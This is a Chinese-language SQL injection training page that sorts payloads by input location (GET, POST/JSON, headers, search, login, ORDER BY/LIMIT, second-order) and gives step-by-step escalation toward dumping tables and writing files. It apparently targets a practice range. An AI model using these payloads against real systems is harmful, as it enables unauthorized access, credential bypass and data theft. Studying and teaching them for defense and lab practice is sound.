🛡 SQLi 注入大全
已掌握 0/46
首页 › 阶段 3 · 场景注入

场景注入 · 从输入面到切入点

GET / POST / Header / Cookie / 搜索 / 登录 / 特殊位,选一个输入面就够了

当前位置…
场

场景注入 · 从输入面到切入点

同一种手法,换一个位置 → 换个姿势。

场景 › GET

GET 参数注入 最常见

最经典:URL 里 ?key=value 直接进 SQL

URL 查询字符串参数若被直接拼接进查询,就是 GET 注入。例子:http://hbc.haobachang.com/sub?id=350 这类 id 参数。

从探测到取数一条龙
?id=350-- -                                  # ①先看基准
?id=350' -- -                                # ②测闭合
?id=350 ORDER BY 4-- -                        # ③数列数(这里=3)
?id=350 UNION SELECT 1,2,3-- -                # ④找回显位
?id=350 UNION SELECT 1,database(),user()-- -   # ⑤放真货
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
UNION合并两个查询结果回显注入核心,需列数一致
ORDER BY按第 N 列排序试列数:报 Unknown column 即越界
database()当前所在的库名拿库名 → 进 information_schema 爆表 → 爆列 → 爆值
user()当前连接数据库的用户名判权限高低 → 能不能读/写文件、能不能 UDF 提权
350参数 id 的原始值先留基准,测闭合/列数看变化
嵌套子查询替换数字拿库→表→列→值在回显位放 group_concat(table_name)…,见 UNION
场景 › POST

POST / 表单 / JSON 注入 高频

登录、搜索、提交数据的藏身点

登录、评论、配置等表单提交参数,payload 往往一模一样,只是从 URL 挪到 body。

表单字段(与 GET 同套 payload)
POST /login
username=' OR '1'='1'-- - # 登录绕过(详见登录节) audit_pwd=' AND ascii(substr(database(),1,1))=115-- - # 盲注
JSON body(记得闭合大括号)
{"id":"350 UNION SELECT 1,2-- -"}   # 字符串字段同理,先用"探索
{"id":"350' OR '1'='1"}            # JSON 里闭合引号更直观
差异点

POST 用 Content-Type 决定解析方式。JSON 务必先看懂结构再闭合引号。

📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
'--
-- 空格 / #MySQL 行末注释把后面 AND/ORDER BY 通通吃掉
SLEEP(3)让查询卡住 N 秒时间盲注的信号:真→卡、假→秒回
mid()/substr()截取字符串的某一段报错/盲注入里分段搬长数据(每次 n,1)
Content-Type告诉后端怎么解析 bodyform 加引号、JSON 闭合大括号、XML 要自己包标签
场景 › Header

Header 注入 低概率·高价值

藏在请求头里的隐藏参数

User-Agent / Referer / X-Forwarded-For / Cookie 被记日志或拼 SQL 时,就是注入点。

User-Agent / XFF
User-Agent: x' AND SLEEP(3)-- -        # IP/UA 被写库时好使
X-Forwarded-For: 127.0.0.1' AND 1=1-- -  # 取真实 IP 的接口
提示/要点:后端常把 Referer / UA 写进 访问日志或统计表,一旦那里拼接 SQL,就成注入点。
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
x' AND SLEEP(3)-- -在 UA 值后闭合并注入睡3秒→说明 UA 进了查询;再换布尔/UNION 取数
X-Forwarded-For真实客户端 IP 头很多取 IP 的逻辑拼 SQL,是隐藏注入面
场景 › 搜索/逻辑

搜索 & 登录逻辑注入 逻辑型

绕过判断,不一定要取数

搜索框和登录往往只关心“是否命中”,用逻辑型 payload 改判断结果即可。

搜索框逻辑绕过
title=%' OR 1=1-- -        # 列出全部商品
搜索 ' OR '1'='1           # 通用型
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
%'闭合 LIKE 的 % 与引号闭合后注入对 LIKE 也生效
OR 1=1恒真列出全表数据;也可 OR 1=2 反着看
场景 › 登录

登录页 · 万能口令 逻辑型

admin' or '1'='1' 是入门第一课

登录查询通常是 WHERE username='...' AND password='...'。只要把 WHERE 整段弄成恒真,验证就绕过。

万能口令两条
username=admin' or '1'='1      password=随便
username=' or 1=1-- -         password=随便   # # 或 -- - 吃掉引号后条件
它等价于拼成了什么
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='x'
# OR 优先级低,但 '1'='1' 恒真 → 整条 AND 恒真 → 返回 admin 行
提示/要点:拿到登录入口 → 下一条是探测哪个库 → UNION 取数据 → 提权,连接墙已打开。
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
admin' or '1'='1万能口令让 WHERE 恒真 → 直接以第一条(常是 admin)身份登录
' or 1=1-- -闭合 + 注释变体多一个 -- - 更稳,把后面 password 条件注释掉
OR 优先级OR 与 AND 组合后的真假优先看 AND 再算 OR;恒真项把整个条件带成真
场景 › 特殊位

ORDER / LIMIT 特殊位 窄点

排序列名、分页数字的特殊位置

注入 ORDER BY / LIMIT 里没有引号但要测特殊手法。ORDER 用不了 UNION,走布尔/时间盲注。

ORDER BY 注入(列名位置)
?sort=name,(SELECT IF(1=1,SLEEP(3),0))   # 时间盲注
?sort=IF(database()='web',name,(SELECT 1))   # 布尔化,真/假看排序顺序
LIMIT 注入(数字位置)
?limit=1 INTO OUTFILE '/tmp/x.txt'   # MySQL 可写文件(需 FILE+可写)
?limit=1 PROCEDURE ANALYSE()          # 老版本报错注入
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
SLEEP(3)让查询卡住 N 秒时间盲注的信号:真→卡、假→秒回
INTO OUTFILE把查询结果写成服务器文件写 webshell 的前提;需 file 权限
mid()/substr()截取字符串的某一段报错/盲注入里分段搬长数据(每次 n,1)
ORDER BY 后的列名可注入子查询盲注为主,少见回显
LIMIT 后的数字可接 OUTFILE/PROCEDURE这是写文件/老报错的入口,权限要求高
场景 › 二次注入

二次注入(存储型) 要害

提交时无害,取回被拼接才爆炸

注入点不在提交处:恶意载荷先被存进数据库,下次被某条 SQL拼出来执行才触发。
典型入口:注册用户名/昵称/评论/搜索历史 —— 存的那一步无害,WAF 盯不上提交处,引信在第二次取用。

埋雷(入库阶段,无害)
注册用户名:admin'-- -   # 仅入库,一句 SELECT 不炸
引爆(取回阶段,炸)
UPDATE users SET pass='666' WHERE name='admin'-- -'   # 语句在 -- - 处截断,把条件里所有人都改成 666
提示/要点:靶场练习:hbc 平台 sql注入-二次注入 就是这个套路——先注册一个带 payload 的用户名,再走用户资料/单人查询接口引爆。
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
admin'-- -存入数据库的注入载荷入库阶段无害,是“埋下的雷”
取回后又被拼进新 SQL引信:库里取出的值再次被拼接引爆点,跟普通注入一个套路
一次 vs 二次注入提交即炸 vs 存库后炸后者更隐蔽,WAF/审查只盯提交处看不到
引爆式闭合选择取回值该用哪种引号闭合按引爆 SQL 里的类型试:数字/字符/盲注